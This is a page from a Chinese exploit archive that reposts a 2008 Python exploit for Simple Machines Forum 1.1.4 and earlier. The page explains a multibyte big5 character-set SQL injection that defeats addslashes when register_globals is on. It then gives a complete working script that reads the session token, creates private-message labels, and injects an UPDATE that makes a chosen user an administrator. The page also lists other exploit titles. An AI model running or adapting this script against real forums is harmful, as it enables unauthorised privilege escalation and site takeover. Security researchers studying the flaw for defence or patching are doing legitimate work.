首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Simple Machines Forum <= 1.1.4 Remote SQL Injection Exploit
来源:http://paradox.altervista.org 作者:Paradox 发布时间:2008-06-16  
#!/usr/bin/python
"""
#=================================================================================================#
#                     ____            __________         __             ____  __                  #
#                    /_   | ____     |__\_____  \  _____/  |_          /_   |/  |_                #
#                     |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\               #
#                     |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |                 #
#                     |___|___|  /\__|  /______  /\___  >__|            |___||__|                 #
#                              \/\______|      \/     \/                                          #
#=================================================================================================#
#                                     This was a priv8 Exploit                                    #
#=================================================================================================#
#                 Simple Machines Forum <= 1.1.4                                #
#                          Sql Injection Vulnerability              #
#                                    Priviledge Escalation Exploit                #
#====================================#===========#====================================#===========#
# Server Configuration Requirements  #           # Some Information                   #           #
#====================================# #====================================#           #
#                                                #                                                #
# register_globals = 1                           #  Vendor:   www.simplemachines.org              #
#                                                #  Author:   The:Paradox                         #
#================================================#  Severity: N/A                   #
# #   #
# You may find exploits updates and more #   #
# explanations on => #  Proud To Be Italian.                          #
#     http://paradox.altervista.org #                     #
#                                                #                                                #
#====================================#===========#================================================#
# Board Description      #   #
#====================================#   #
#   #
# Simple Machines Forum - SMF in short - is a free, professional grade software package that   #
# allows you to set up your own online community within minutes.   #
# Its powerful custom made template engine puts you in full control of the lay-out of your   #
# message board and with our unique SSI - or Server Side Includes - function you can let your     #
# forum and your website interact with each other.   #
# SMF is written in the popular language PHP and uses a MySQL database. It is designed to provide #
# you with all the features you need from a bulletin board while having an absolute minimal   #
# impact on the resources of the server.   #
# SMF is the next generation of forum software - and best of all it is and will always   #
# remain completely free!   #
#   #
#====================================#============================================================#
# Proof Of Concept / Bug Explanation #                                                            #
#====================================#                                                            #
# This is a quite old exploit and it is inapplicable on 1.1.5 version and on last 2.0 pre-release #
# (that's why I decided to public it). First, let's have a little poc.   #
#=================================================================================================#

[Load.php]

148. if (isset($db_character_set) && preg_match('~^\w+$~', $db_character_set) === 1)
149. db_query("
150. SET NAMES $db_character_set", __FILE__, __LINE__);


#=================================================================================================#
# In Load.php if $db_character_set is set Smf will execute a Set Names Sql Query.        #
# Directly from dev.mysql.com let's see what it means.   #
#   #
# "SET NAMES indicates what character set the client will use to send SQL statements to the       #
# the server. Thus, SET NAMES 'cp1251' tells the server future incoming messages from this client #
# are in character set cp1251."   #
#   #
# Ok, now let's see what $db_character_set is.   #
# $db_character_set is a "Settings.php variable" written only if a "Non-Default tick"           #
# is checked during the installation process.   #
# The real vulnerability is when the "Non-Default tick" is left unchecked, Smf doesn't write      #
# it in "Settings.php" and no value is assigned to it: it's possible to set it   #
# via register_globals.   #
#   #
# Now the cool poc section =D   #
# Surely you saw that preg_match avoids any injection of non-alphanumerical chars in the query    #
# at line 150 in Load.php     #
# So, how is possible to take advantage of that?   #
# To understand this vulnerability you have to comprehend some character set presents multibyte   #
# characters and they may obiate addslashes() function.       #
# Addslashes simply adds a backslash (0x5c) before single quote ('), double quote ("),   #
# backslash (\) and NUL (the NULL byte), without checking if the added blackslash creates   #
# another char.   #
# No, i'm not going mad :P Here is an example:   #
#   #
#        Bytes in Input   #
#               0xa327   #
#   #
#             Addslashes(Bytes in Input)   #
#                0xa35c27   #
#   #
# In big5, but also in other multibyte charsets, 0xa35c is a valid char: 0x27 (') is left alone.  #
# Therefore a lot of smf's queries are vulnerable if $db_character_set is settable.   #
# In this exploit i will inject sql code in Update syntax, increasing user's privledges.   #
#=================================================================================================#
# Exploit tested on 1.1.3 and 1.1.4 Smf's versions.   #
#=================================================================================================#
# Use this exploit at your own risk. You are responsible for your own deeds.                      #
#=================================================================================================#
#                                      Python Exploit Starts                                      #
#=================================================================================================#
"""
from sys import argv, exit
from httplib import HTTPConnection
from urllib import urlencode, unquote
from time import sleep
print """
#=================================================================#
#             Simple Machines Forum <= 1.1.4                 #
#                    Sql Injection Vulnerability                  #
#                   Priviledge Escalation Exploit                 #
#                                                                 #
#               ######################################            #
#               #  Let's get administrator rights!!! #            #
#               ######################################            #
#                                                                 #
#                     Discovered By The:Paradox                   #
#                                                                 #
# Usage:                                                          #
#  ./Exploit [Target] [Path] [PHPSessID] [Userid]                 #
#                                                                 #
# Example:                                                        #
#  ./Exploit 127.0.0.1 /SMF/ a574bfe34d95074dea69c00e38851722 9   #
#  ./Exploit www.host.com / 11efb3b6031bc79a8dd7526750c42119 36   #
#=================================================================#
"""

if len(argv)<=4: exit()


sn = "PHPSESSID" # Session cookie name. You may have to change this.
port = 80

target = argv[1]
path = argv[2]
sv = argv[3]
uid = argv[4]


class killsmf:

def __init__(self):

print "[.] Exploit Starts."

self.GetSesc()
self.CreateLabels()
self.Inject()

print "[+] All done.\n Now user with ID_MEMBER " + uid + " should have administrator rights. \n -= Paradox Got This One =-"

def GetSesc(self):

print "[+] Trying to read Sesc"

for i in range (0,2):
conn = HTTPConnection(target,port)
conn.request("GET", path + "index.php?action=pm;sa=manlabels;", {}, {"Accept": "text/plain","Cookie": sn + "=" + sv + ";"})
rsp = conn.getresponse()
r = rsp.read()

if rsp.status == 404:
exit ("[-] Error 404. Not Found")
elif r.find('<input type="hidden" name="sc" value="') != -1 and r.find('" />') != -1 :
self.sesc = r.split('<input type="hidden" name="sc" value="')[1].split('" />')[0]
if len(self.sesc) != 32: exit ("[-] Invalid Sesc")
print "[+] Sesc has been successfully read ==> "+self.sesc
else:
exit ("[-] Unable to find Sesc")

def CreateLabels(self):
print "[+] Creating three labels..."
for i in range (0,3):
conn = HTTPConnection(target,port)
conn.request("POST", path + "index.php?action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label" : i, "add" : "Add+New+Label"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + ";"})
sleep(0.35)
def Inject(self):
print "[+] Sql code is going to be injected."
conn = HTTPConnection(target,port)
conn.request("POST", path + "index.php?debug;action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label_name[0]" : "o rly" + unquote("%a3%27"),"label_name[1]" : "ID_GROUP=1 WHERE/*", "label_name[2]" : "*/ID_MEMBER=" + uid + "/*", "save" : "Save", "sc" : self.sesc, "db_character_set": "big5"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + ";"})

killsmf()


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·DIY (index_topic did ) Blind S
·Alt-N SecurityGateway 1.00-1.0
·Cartweaver 3 (prodId) Remote B
·XChat <= 2.8.7b (URI Handler)
·GLLCTS2 <= 4.2.4 (login.php de
·Clever Copy 3.0 (results.php)
·muvee autoProducer <= 6.1 (Tex
·JAMM CMS (id) Remote Blind SQL
·MyMarket 1.72 Blind SQL Inject
·Yuhhu 2008 SuperStar (board) R
·FreeCMS.us 0.2 (fckeditor) Arb
·Black Ice Software Annotation
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved